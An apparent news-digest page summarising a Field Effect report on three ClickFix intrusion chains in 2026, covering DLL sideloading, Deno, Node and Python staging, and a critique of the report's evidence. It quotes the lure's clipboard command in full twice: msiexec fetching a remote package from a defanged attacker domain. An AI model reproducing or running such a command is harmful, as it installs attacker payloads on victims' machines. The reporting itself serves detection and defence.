Loading today’s stories
Security1 distinct publisher2 min readPublished
Field Effect logged three ClickFix chains between mid-June and July 2026, two of them landing on the same hidden file pair in ProgramData, and in one case the operator phoned the victim to open the lure.
The Watch · Security desk
leadership
TerminalFix sends the fake CAPTCHA command to PowerShell so multi-line payloads survive1 distinct publisher
security
ClickFix operators install the signed Deno runtime to run their remote JavaScript1 distinct publisher
security
Bring Your Own Runtime: Sophos MDR maps a repeatable Deno-based intrusion chain1 distinct publisher
invest
Check Point finds 2,000 hacked WordPress sites doing the hosting for a crypto-stealing toolkit2 distinct publishers
Compiled by The WatchSomething wrong?How this is made
The clipboard string is where existing rules break. The mid-June lure copied `"C:\WINDOWS\system32\MsieXEc.ExE" /pAckAGe http://hwid-cloude.us[.]com\YourSystemID:7543729---To-Complete-Verification---PRESS-ENTER-or-OK /Q` into the victim's clipboard, with the capitalization randomized and the URL path written so the victim reads instructions instead of a download [4]. There's no powershell, mshta or curl call here, and nothing arrives as an encoded blob, so a Run-dialog detection built on those tokens sees nothing.
The package that arrived carried working software, including 3D PDF Maker Smart, Bitwarden VPN and ESET Sysinspector, and the attacker used it to sideload malicious DLLs [3]. 3D PDF Maker Smart then spawned XPFix.exe, signed by Qihoo 360, along with Crisp Instant Messenger and Edge's Cookie Exporter; Field Effect did not recover that payload [5]. Persistence was a scheduled task on 3DPDFMakerSmart.exe [6]. Discovery was a single PowerShell call to `dsregcmd.exe /status`, which Field Effect reads as a check on whether the host was registered to a tenant and therefore worth ransoming [7].
Then it sat. Six days later a PowerShell loader pulled down a renamed Microsoft .NET ClickOnce Launch Utility called `NET Runtime Optimization Service.exe` and a malicious `mscoree.dll` into a fresh ProgramData subfolder, which attrib.exe marked hidden and system [8]. The sideload produced PowerShell running out of `%LOCALAPPDATA%\Temp`, and discovery resumed from there [9]. Field Effect's read is a handover between two actors or toolsets once the host turned out to be tenant-connected: the install script ran three times, created three ProgramData folders, and the infrastructure differed between the two groups of activity [10].
The late-June chain reused that infrastructure and changed the runtime. PowerShell fetched Update.zip from cloudbreachdetection[.]com, pulled the Node v7.10.1 Windows x64 archive from nodejs[.]org's own distribution path, expanded both into C:\ProgramData, and launched node.exe against Update.js with the window hidden [11]. Update.js then installed the same ClickOnce utility and the same mscoree.dll [12]. One of the two downloads touches attacker infrastructure; the other is an unmodified vendor artifact from the vendor's site, so domain reputation only covers half the fetch [15].
The July chain swapped the interpreter again, running PowerShell to install Python 3.5 and supporting Python files as the concealment and execution layer [13]. Field Effect's account of that one stops at the install; the terminal payload is not described [13].
Three chains across roughly six weeks, two of them ending in the same two file names in the same directory [14]. The lure text changed every time, but the staging path and the sideload pair stayed constant across chains, and that consistency is where the durable detection sits.
Ranked by verification strength, evidence, and original report placement.
3D PDF Maker Smart spawned suspicious child processes including XPFix.exe (signed by Qihoo 360), Crisp Instant Messenger and Edge's Cookie Exporter; the payload was unavailable for further analysis.
Field Effect observed a ClickFix campaign earlier in summer 2026 that used three distinct approaches to establish an initial foothold, sharing DLL sideloading, consistent file-naming conventions, and the use of command-and-control dead drops.
In one case a threat actor contacted victims directly by phone and persuaded them to navigate to compromised WordPress sites that delivered the ClickFix lures; Field Effect shut the activity down by network-isolating the endpoint.
In mid-June 2026 Field Effect identified a ClickFix campaign using remotely hosted MSI packages containing legitimate software such as 3D PDF Maker Smart, Bitwarden VPN and ESET Sysinspector, which was then used to sideload malicious DLLs.
The ClickFix prompt copied the following into the victim's clipboard: "C:\WINDOWS\system32\MsieXEc.ExE" /pAckAGe http://hwid-cloude.us[.]com\YourSystemID:7543729---To-Complete-Verification---PRESS-ENTER-or-OK /Q
A scheduled task was created to execute 3DPDFMakerSmart.exe as a persistence mechanism.
Distinct publishers with included, body-backed reporting in this cluster.
1 article · August 30, 2026
Follow any of these and your For You feed starts watching them — no settings page required.
Evidence-backed comparisons of source perspectives and observed adoption signals. Read the methodology
Which Builder, Operator, and Investor concerns the observed source mix emphasized—not a truth score.
Evidence, demonstrated adoption, hype gap, incentives, and confidence are assessed independently, each on its own current evidence. How these are measured.
Artifact-rich, single-responder
What Field Effect publishes is the kind of detail you cannot invent: a full msiexec clipboard string with its case mangled, an attrib line down to the DotNetOptimizer_xa312vpO folder suffix, two download URLs, a six-day gap between install and loader. What it lacks is anyone else's telemetry, hashes, or the MSI payload itself, which was gone by the time analysis began. Strong on the wire-level facts, thin everywhere those facts would be confirmed.
Three chains, scope unstated
Real intrusions, real endpoints, three delivery routes in about six weeks — that is genuine field use of the technique, not a proof of concept. But it is all one provider's visibility, and the write-up never says how many organisations, which sectors, or where. The only breadth claim is the general assertion that ClickFix has become common; nothing in the piece sizes it.
Reported drier than it lands
Nothing is oversold here. There is no actor name, no campaign branding, no ransomware headline — the ransom angle stays a hedged inference off a single dsregcmd check. If anything the framing undersells the interesting part: a lure that pastes msiexec instead of PowerShell defeats a lot of clipboard-and-command detection logic, and the piece mentions it in passing before moving on.
The rescue is the author's own
Field Effect is a managed detection vendor describing intrusions its own platform caught, and the one containment action in the story — network-isolating the endpoint after the phone-driven lure — is its own product working. That is a real commercial interest in the telling. It cuts both ways though: the same telemetry access is why the six-day dwell time and the process lineage exist at all, and the piece resists the usual temptations to name an actor or claim scale.
Trust the paths, not the picture
Take the indicators and behaviours as reliable: they are specific, internally consistent across two chains, and the kind of thing a responder reads straight off a timeline. Hold the wider picture loosely. One provider, one telemetry set, an unrecovered payload in the first chain, an undescribed one in the third, and a two-actor theory that is inference. Enough to hunt on today; not enough to say how big this is.